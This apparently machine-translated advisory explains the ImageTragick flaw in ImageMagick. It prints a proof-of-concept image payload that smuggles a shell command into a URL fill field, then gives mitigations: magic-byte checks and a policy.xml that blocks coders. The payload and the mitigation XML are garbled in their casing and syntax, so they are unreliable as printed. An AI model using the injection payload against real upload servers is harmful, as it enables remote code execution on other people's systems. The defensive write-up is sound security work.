Imagetragick Exploit & Fix

ImageMagick is a popular image processing software with countless websites (both domestic and foreign) used for image processing, but in Tuesday, ImageMagick disclosed a serious 0day vulnerability that could allow an attacker to upload a maliciously constructed image file, Executes arbitrary code on the target server.

After this security vulnerability was announced, the exp of this vulnerability was also released and named: Imagetragick. The vulnerability of EXP has been widely disseminated via mail and forums.

ImageMagick is supported by a number of programming languages, including Perl,c++,php,python and Ruby, and is deployed on millions of websites, blogs, social media platforms and popular content management systems (CMS) such as WordPress, Drupal, discuz!.

The exploit is simple enough that an attacker could execute arbitrary code, steal important information, user accounts, and so on, by uploading a malicious image to the target Web server.

In other words, only sites that use ImageMagick and allow users to upload images will be affected.

Exploit:

Push Graphic-context
Viewbox 0 0 640 480
Fill ' url (https://example.com/image.jpg "|ls"-la) '
Pop Graphic-context

Save the code as an arbitrary extension, such as expoit.jpg, and then run it through ImageMagick

Convert Exploit.jpg out.png

At this point, ImageMagick will execute the embedded code/command: Ls-la command.

Vulnerability Defense:

1. When uploading a picture, it is necessary to use the file content to determine whether the user uploads the real picture type, that is: Check the file's Magic bytes. Magic Bytes is the first few bytes of a file that are used to identify image types, such as gif,jpeg and PNG, so that you can accurately determine whether a file is a picture.

2. Using the policy profile to disable ImageMagick's risky encoder, add the following code to the "/etc/imagemagick/policy.xml" file:

<policymap>
<policy domain= "coder" rights= "none" pattern= "ephemeral" >
<policy domain= "coder" rights= "None" pattern= "URL" >
<policy domain= "coder" rights= "None" pattern= "HTTPS" >
<policy domain= "coder" rights= "None" pattern= "MVG" >
<policy domain= "coder" rights= "None" pattern= "MSL" >
</policymap>

At this point, if you run again: Convert exploit.jpg out.png, you can no longer execute the ls-la command.

Imagetragick Exploit & Fix